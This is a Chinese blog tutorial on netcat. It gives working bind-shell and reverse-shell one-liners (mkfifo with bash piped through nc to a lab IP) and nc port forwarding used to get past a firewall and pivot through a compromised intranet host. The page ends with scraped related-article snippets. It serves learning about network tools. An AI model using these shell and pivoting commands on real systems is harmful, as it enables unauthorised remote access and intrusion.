1. 程式人生 > >應用netcat實現埠轉發

應用netcat實現埠轉發

前言

很久沒有寫部落格了,以至於csdn推出了這麼好用的makedown編輯器都不知道,這樣的寫部落格的感覺真是酸爽啊!自從找到工作以後,人也賴了很多,瞬間長了10斤的肉。。。說到工作,回想起來找工作的旅程還是很幸運的。為什麼說幸運呢,因為沒有像教研室那幫孩子一樣四處奔跑,準備筆試,準備面試,而是早早的(大概8月份下旬)就把自己給賣了。你問老東家是誰,我還是可以很自豪的說是阿里巴巴:>對於大牛來說BAT可能算不了什麼,但是作為一個非科班出身的程式設計師來說能進BAT還是挺滿意的。希望今後能在阿里把自己的水平提升到一個新的高度!

netcat介紹

netcat是一款知名的網路工具,簡稱nc,有滲透測試中的“瑞士軍刀”之稱。它可以做埠掃描,tcp/udp連線,遠端傳輸檔案,甚至遠端傳輸流媒體,而且還可以實現遠端shell等。總之功能之強大真的讓人咋舌,套用網上的一句話可以概況一下,“你的想象力是侷限nc的瓶頸”,說起來也很好理解,tcp連線都給你建立好了,你想幹嘛還不隨你嘛!

獲取shell

獲取shell分成2種,一種是正向shell,一種是反向shell。這個和ssh實現正向代理與反向代理意思差不多。我的理解是:連線的方向與獲取哪個shell。如果客戶端連線伺服器,想獲取伺服器的shell,那麼稱為正向shell,如果是客戶端連線伺服器,伺服器端想獲取客戶端的shell,那麼稱為反向shell。

正向shell

如果nc帶有-e選項可以直接使用
nc serverIP PORT -e /bin/bash
進行提供遠端shell,這裡我主要講在沒有-e選項的時候,如果用nc實現shell功能。

[email protected] ~ $ mkfifo /tmp/fifo
[email protected]
~ $ cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 8000 > /tmp/fifo

然後在客戶端用

[email protected]:~$ nc 192.168.1.102 8000

然後就能連線成功,並且返回server端的shell。
結果如下:
客戶端獲得服務端shell
原理詳解:
1. 建立fifo檔案,管道檔案用於將nc輸出檔案與bash的輸入檔案。
2. cat /tmp/fifo是從fifo讀取資料,將資料通過管道傳給bash。
3. | /bin/bash -i 2>&1這裡需要注意2>&1的意義,這是將2標準錯誤描述符重定向到1標準輸出檔案描述符指向的地方,為什麼是&1,而不是1呢,這是為了轉義1的意思表示檔案描述符而不是檔名為1。
4. 將bash執行結果輸入到nc輸入中,從而可以傳至客戶端。
5. 在客戶端輸入的命令資料通過服務端的nc輸出重定向到fifo中,在服務端形成一個迴圈。

反向shell

又稱為反彈shell,服務端要獲取客戶端的shell,客戶端在連線上的時候將提供自己的shell功能給服務端。
在服務端輸入:
nc -l 8001
在客戶端輸入:

cat /tmp/fifo | /bin/bash -i 2>&1 | nc 192.168.1.102 8001 > /tmp/fifo

顯示結果如下所示:
反彈shell

netcat實現埠轉發功能

網上介紹netcat的用法的文章實在太多了,這裡我就不重複介紹了,一搜一大堆!這裡介紹一種用netcat實現埠轉發的方法,我在網上搜了半天,並沒有找到相應的實現,多是反彈shell的實現。其實nc做埠轉發的思路和shell功能的實現很相似,只需要稍加改造即可。
為什麼要埠轉發呢?因為防火牆,或者外網訪問內網的原因。比如防火牆不允許訪問本機的3389埠怎麼辦,或者外網要想訪問一臺內網機器怎麼辦。這時埠轉發可以很好的解決這些問題。
1. 對於防火牆禁止訪問某些埠的問題,比如3389埠,我們可以將利用機器的3000埠做埠轉發,從外界接受資料,轉發給本機的3389埠,從而繞過防火牆。
2. 對於無法訪問內網特定機器的問題,我們可以先抓取內網一臺機器,然後利用這臺弱雞進行埠轉發,接受外網的資料,將資料轉發到內網目標機器的特定埠。

實現

下面來看看如何用nc實現簡單的埠轉發。
- 背景:192.168.1.103的msfadmin使用者需要訪問192.168.1.102的8000埠,但是該埠被防火牆保護著,不允許外界機器訪問。目前msfadmin使用者只能訪問192.168.1.102的9000埠。需要9000埠做轉發。
- 目標:msfadmin通過訪問192.168.1.102的9000埠,達到與8000埠通話的目的。
1. 在192.168.1.102上開啟8000埠。
nc -l 8000
2. 在192.168.1.102上實現9000埠轉發。
[email protected] ~ $ cat /tmp/fifo | nc localhost 8000 | nc -l 9000 > /tmp/fifo
3. 在192.168.1.103上連線192.168.1.102的9000埠。
nc -n 192.168.1.102 9000
結果如下圖:
埠轉發
可以看到msfadmin成功的與freestyle4568的8000埠進行了通話,但是實際上連線的是它的9000埠。

相關推薦

應用netcat實現轉發

前言 很久沒有寫部落格了,以至於csdn推出了這麼好用的makedown編輯器都不知道,這樣的寫部落格的感覺真是酸爽啊!自從找到工作以後,人也賴了很多,瞬間長了10斤的肉。。。說到工作,回想起來找工作的旅程還是很幸運的。為什麼說幸運呢,因為沒有像教研室那幫孩子

linux使用rinetd快速實現轉發

linux下使用iptables實現埠轉發,配置較為複雜,使用rinetd工具可以實現快速配置和修改埠轉發。 例:本機ip:1.1.1.1 需要實現訪問本機的8080埠,自動轉發到2.2.2.2 80 下載軟體: wget http://www.boutell.com/rinet

通過rinetd實現轉發來訪問內網的服務

通過rinetd實現埠轉發來訪問內網的服務 通過rinetd實現埠轉發來訪問內網的服務 配置三方源 安裝Rinetd 配置 執行 加入到開機啟動指令碼中 注意事項 驗證

SSH隧道——實現轉發(臨時用挺方便)

1、ssh埠轉發? 有沒有這種需求,我在家裡需要訪問公司的某個服務。或者公司網路管的嚴,不能隨意訪問某些網站。 ssh轉發就能實現這樣的需求。它能建立隧道,把資料包在內網和外網之間進行傳遞,減少防火牆規則在你身上的作用。 注:這個隧道用的還是不太爽,直接上vpn用著才爽(我

[轉]xshell實現轉發

原文: https://www.cnblogs.com/linxizhifeng/p/8657795.html https://blog.csdn.net/qq_34039315/article/details/77510923 =================================

nginx 配置實現轉發

最近在部署一個小程式的後臺,但是小程式呼叫的介面是不能帶埠號的,那麼如果伺服器上面80埠已經被其他程式佔用,就只能採用埠轉發或者虛擬目錄,我採用的是埠轉發,或者說當在一臺主機上需要部署多個web應用,並且需要能在80埠訪問這些web時,就可以採用這種方法,也可以

windows命令列下用netsh實現轉發(對映)

微軟Windows的netsh是一個命令列指令碼實用工具。使用netsh工具 ,可以檢視或更改本地計算機或遠端計算機的網路配置。不僅可以在本地計算機上執行這些命令,而且可以在網路上的遠端計算機上執行。 可以手動執行Netsh命令,或建立批處理檔案或指令碼實現過程的自動化。n

SSH原理常見應用升級及轉發

#### SSH介紹 > SSH是`Secure Shell Protocol`的簡寫,由IETF網路工作小組(`Network working Group`)指定;在進行資料傳輸之前,SSH先對聯機資料包通過加密技術進行加密處理,加密後在進行資料傳輸。確保了傳遞的資料安全. > > > > SSH是專為

利用主機轉發實現對QEMU虛擬機器的訪問

作  者:郝慶豐 領 域:QEMU   適宜讀者:QEMU及虛擬化相關開發人員 背景知識:虛擬化基礎知識,QEMU基礎知識 正文: 利用主機埠轉發實現對QEMU虛擬機器的訪問 命令 選項:hostfwd 詳細描述:hostfwd=[t

nginx 實現轉發

什麼是埠轉發 我們在伺服器上搭建了多個應用,例如9000埠應用是微信驗證授權,9001埠是移動端站點,我們可以通過下面的方式訪問; localhost:9000 localhost:9001 但是我們不希望用埠的方式進行訪問,也就是說兩個應用通過不同域名的80埠進行

轉發實現本地連線RDS

rinetd實現 #cd /usr/local/src #wget http://www.boutell.com/rinetd/http/rinetd.tar.gz&&tar -xvf rinetd.tar.gz&&cd rinetd #tar

ssh本地轉發實現登陸遠端資料庫

一.本地轉發: 1.現在一種情況是,有一個可以遠端連線得伺服器123.0.0.1,埠號為2222.然後在內網機器192.168.1.110上部署了資料庫,埠號為5434.此時如果我想從本地執行程式碼,需要連線資料庫;這是就需要將遠端伺服器當跳板機連線內網資料庫; 輸入得命令如下: ssh

利用UDP53轉發實現校園免流上網

準備工具:一臺具有公網IP的伺服器(最好是Linux系統),Sofether VPN Server, Sofether VPN Client,,Xshell Server版本 Client版本: 2.用xshell遠端到自己的Linux伺服器上操作 第一

frp多客戶端,實現一臺雲伺服器連線多個區域網內的主機,多轉發

很簡單,用不同的frps.ini就行 假設你原來已經啟動了一個frps.ini,現在想再加一個。 那就新建一個frps1.ini,然後埠和之前的不一樣就行。 假設之前有一個7000的埠了,那現在這個用7001就可以啦~ cp frps.ini frps1.ini 如

串列資料通過Tcp轉到伺服器實現資料轉發

主要目的:通過串列埠獲取外設的資料,轉發到伺服器進行處理並在Web端顯示裝置的資訊。 主要用到的知識點: 第一:串列埠通訊相關的知識。 1.串列埠通訊用到的兩個標頭檔案: #include <QtSerialPort/QSerialPort> #inclu

用iptables 實現本地轉發

場景 假如你在用 resin 除錯一個 Web 程式,需要頻繁地重啟 resin。這個 Web 程式需要開在 80 埠上,而 Linux 限制 1024 以下的埠必須有 root 許可權才能開啟。但是你又不願意在調程式的時候總是開著一個 root 終端。在這種情況下,你可以

轉發實現教程

一、埠轉發的含義 在內網滲透相關的文章中經常會聽到“埠轉發”這個名詞,但並不太確定具體是什麼,現在看來和NAT、埠對映是一個意思。 客戶端<---->轉發程式<---->伺服器(<---->表示網路連線)   二、Windows實現埠轉發 下邊以將本機9

利用SSH轉發實現跨機器直接訪問

在實際專案測試中經常會遇到資料庫操作,但是因為公司安全問題,訪問資料庫往往需要通過跳板機。但通過跳板機,測試效率大打折扣,因此通過使用SSH埠轉發,從而達到跨機器直接訪問資料庫。實際專案中的應用會比下面內容相對複雜一些,但萬變不離其宗,基本原理是一樣的。SSH簡介SSH是什麼?SSH是一種協議,是一種有關如何

SSH轉發實現代理伺服器

埠轉發介紹          SSH為建立在應用層和傳輸層基礎上的安全協議,常用埠為22。本文主要介紹其埠轉發功能。顧名思義,就是監聽指定埠,把監聽到的資訊通過ssh協議通道(22埠和ssh server)轉發到remote target host 指定埠。其中ssh se

Linux 系統雙網絡卡實現內網轉發

1. 環境: (1) 一臺 Linux 系統主機,此機器有雙網絡卡:eth0 連線外網,eth1 連線內網。假定通向外網的 eth0 的連線資訊如下(可以是靜態 IP,也可以是 DHCP):inet addr: 192.168.3.100 Gateway: 192.168.